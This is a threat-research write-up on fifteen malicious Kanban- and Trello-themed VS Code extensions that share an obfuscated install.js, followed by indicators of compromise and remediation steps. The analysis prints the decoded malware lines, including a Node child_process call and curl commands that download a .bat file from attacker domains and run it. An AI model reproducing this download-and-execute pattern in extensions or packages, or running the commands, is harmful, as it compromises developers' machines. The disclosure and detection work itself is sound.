Everyone wants a Kanban board inside their editor. Over ten weeks from June to August 2026, fifteen of them hit the Microsoft VS Code Marketplace — SlixBoard, FocusDeck, LineDeck, Trello-Board, trello-deck, Brux-Board, and nine more. Each one had a different publisher name. Each one shipped a small UI shell that rendered columns and cards. And each one bundled the same boardflow npm dependency, whose install.js script did the real work: decode a curl command from a wall of scrambled strings, download a .bat file, and run it.

The threat actor changed the payload domain three times and rotated through eleven publisher accounts. The code stayed the same. The TLSH fingerprints of the install scripts stayed near-identical across the family.

TL;DR

  • 15 extensions copy the names of board tools and publish from eleven throwaway marketplace accounts.
  • Each extension runs an obfuscated install.js on activation that decodes a curl command, downloads a .bat file, and runs it.
  • Three payload domains rotated over ten weeks: pixelrbx[.]comgiantapplebees[.]shopelrbx[.]com.
  • Near-identical TLSH fingerprints across eleven publishers confirm one code base.

What the extensions do

Every extension ships a small UI shell — a Kanban board, a Trello deck, a “project flow” panel — and a bundled boardflow npm dependency. The boardflow package contains an install.js script. The script is the payload.

On activation, the extension loads boardflow and runs install.js. The script does not call curl or the payload domain by name. It stores the command parts and the URL in an array of scrambled strings — a classic _0x-style obfuscation — and rotates the array at runtime until the strings line up. Then it spawns a hidden child_process that runs cmd.exe /c curl -L -o %TEMP%\run.bat <url> && %TEMP%\run.bat.

require('child_process').spawn('cmd.exe', [
  '/c', 'curl', '-L', '-o', '%TEMP%\\run.bat',
  'https://elrbx.com/payload.bat', '&&', '%TEMP%\\run.bat'
], { windowsVerbatimArguments: true, detached: true, stdio: 'ignore' }).unref();

The activation event is * or onStartupFinished, so the payload runs on every IDE start.

The payload

We downloaded the VSIX artifacts from storage and decompiled the boardflow install.js. The obfuscated string table decodes to a single curl command:

curl -L -o "%TEMP%/846385d443.bat" "http://pixelrbx.com/846385d443.bat"

Then, immediately:

"%TEMP%/846385d443.bat"

The install script chains the download and the execution — no second step, no user interaction. The .bat content is whatever the threat actor serves from the payload domain at the time of the request.

We fetched the payload URL from pixelrbx[.]com at the time of analysis. The server returned HTTP 200 with content-type: application/x-msdownload — confirming it is (or was) a .bat download endpoint — but the body is now 0 bytes. The threat actor replaced the payload with an empty file after the campaign was caught. The elrbx[.]com and giantapplebees[.]shop domains are fully unreachable. The extensions still try to fetch on every IDE start, so if the threat actor restores a non-empty payload, every installed extension picks it up on the next launch.

The three payload domains

Domain First seen Last seen Extensions
pixelrbx[.]com 2026-07-24 2026-07-26 3
giantapplebees[.]shop 2026-08-07 2026-08-07 1
elrbx[.]com 2026-08-05 2026-08-18 6

The earlier June samples (StudioBoard, AppCreationPLC.boardwalk, ByteLabs.boardstepapp, AppReleasePLC.boardlinkapplication) used the same obfuscated install script but the domain was not extracted. The last one, boardlinkapplication, drops an .hta payload and runs it with mshta.exe instead of a .bat. They belong to the same family by TLSH similarity and by the board/Kanban lure.

The 15 extensions

Date Extension Publisher Payload host
2026-06-06 StudioBoard.studioboard-4.7.0 StudioBoard (not extracted)
2026-06-09 AppCreationPLC.boardwalk-1.7.0 AppCreationPLC (remote script)
2026-06-14 ByteLabs.boardstepapp-1.6.7 ByteLabs (cscript)
2026-06-24 AppReleasePLC.boardlinkapplication-1.5.5 AppReleasePLC .hta via mshta.exe
2026-07-24 GMSoftwares.trello-workspace-1.0.1 GMSoftwares boardflow dep
2026-07-26 RealismHub.trello-management-1.0.1 RealismHub pixelrbx[.]com
2026-07-26 GFSoftworks.trello-manager-1.0.3 GFSoftworks pixelrbx[.]com/846385443
2026-07-27 MatthewEvans.click-board-1.0.3 MatthewEvans boardflow dep
2026-08-05 BLSoftworks.FocusDeck-1.0.0 BLSoftworks elrbx[.]com
2026-08-07 testpublisher610.managerblx123-5.0.5 testpublisher610 giantapplebees[.]shop
2026-08-11 LineInnovation.LineDeck-1.0.0 LineInnovation elrbx[.]com
2026-08-12 TrelloWorks.trello-board-1.0.0 TrelloWorks elrbx[.]com
2026-08-13 TrelloSoftWorks.trello-deck-1.0.0 TrelloSoftWorks elrbx[.]com
2026-08-18 GRSoftworks.SlixBoard-1.0.0 GRSoftworks elrbx[.]com
2026-08-18 GRSoftworks.Brux-Board-1.0.0 GRSoftworks elrbx[.]com

The publisher rotation

The threat actor uses a fresh publisher account for almost every extension. The publisher name usually matches the fake board product (BLSoftworks for FocusDeck, TrelloWorks for trello-board, LineInnovation for LineDeck). Two extensions on August 18 share the GRSoftworks account. None of the accounts has any other published extension or any web presence. This pattern makes per-publisher blocklists useless — the threat actor generates a new name for each wave.

The TLSH fingerprint

The TLSH hashes of the install scripts fall into one family. The first block of each hash is T1 and the next blocks share the pattern 75331D or 75331DE0C9. The hashes differ only in the later blocks, which reflects the small changes the threat actor makes to the string array and the payload URL. Near-identical TLSH across eleven publishers and three payload domains confirms one code base.

What to do

If you installed any of the 15 extensions above, do this:

  1. Uninstall the extension from VS Code:.
  2. Open the system temporary directory and delete any .bat or .hta file you did not put there.
  3. Run a full malware scan on the machine.

If you publish extensions on the VS Code: Marketplace, do this:

  • Do not bundle an install.js script that runs on activation.
  • Do not download a remote payload and run it from an extension.
  • Do not obfuscate the command parts of a child_process call.

Indicators of Compromise

Malicious extension identifiers

  • StudioBoard.studioboard-4.7.0
  • AppCreationPLC.boardwalk-1.7.0
  • ByteLabs.boardstepapp-1.6.7
  • AppReleasePLC.boardlinkapplication-1.5.5
  • GMSoftwares.trello-workspace-1.0.1
  • RealismHub.trello-management-1.0.1
  • GFSoftworks.trello-manager-1.0.3
  • MatthewEvans.click-board-1.0.3
  • BLSoftworks.FocusDeck-1.0.0
  • testpublisher610.managerblx123-5.0.5
  • LineInnovation.LineDeck-1.0.0
  • TrelloWorks.trello-board-1.0.0
  • TrelloSoftWorks.trello-deck-1.0.0
  • GRSoftworks.SlixBoard-1.0.0
  • GRSoftworks.Brux-Board-1.0.0

Network

Type Value
Domain elrbx[.]com
Domain pixelrbx[.]com
Domain giantapplebees[.]shop
URL https[://]www.pixelrbx.com/846385443
URL https[://]giantapplebees.shop/newly.js

Behavioral

  • A bundled boardflow dependency with an obfuscated install.js.
  • An array of scrambled strings that the script rotates at runtime to build a curl command.
  • A child_process.spawn call that runs cmd.exe /c curl -L -o %TEMP%\run.bat <url> && %TEMP%\run.bat.
  • Activation on * or onStartupFinished, so the payload runs on every IDE start.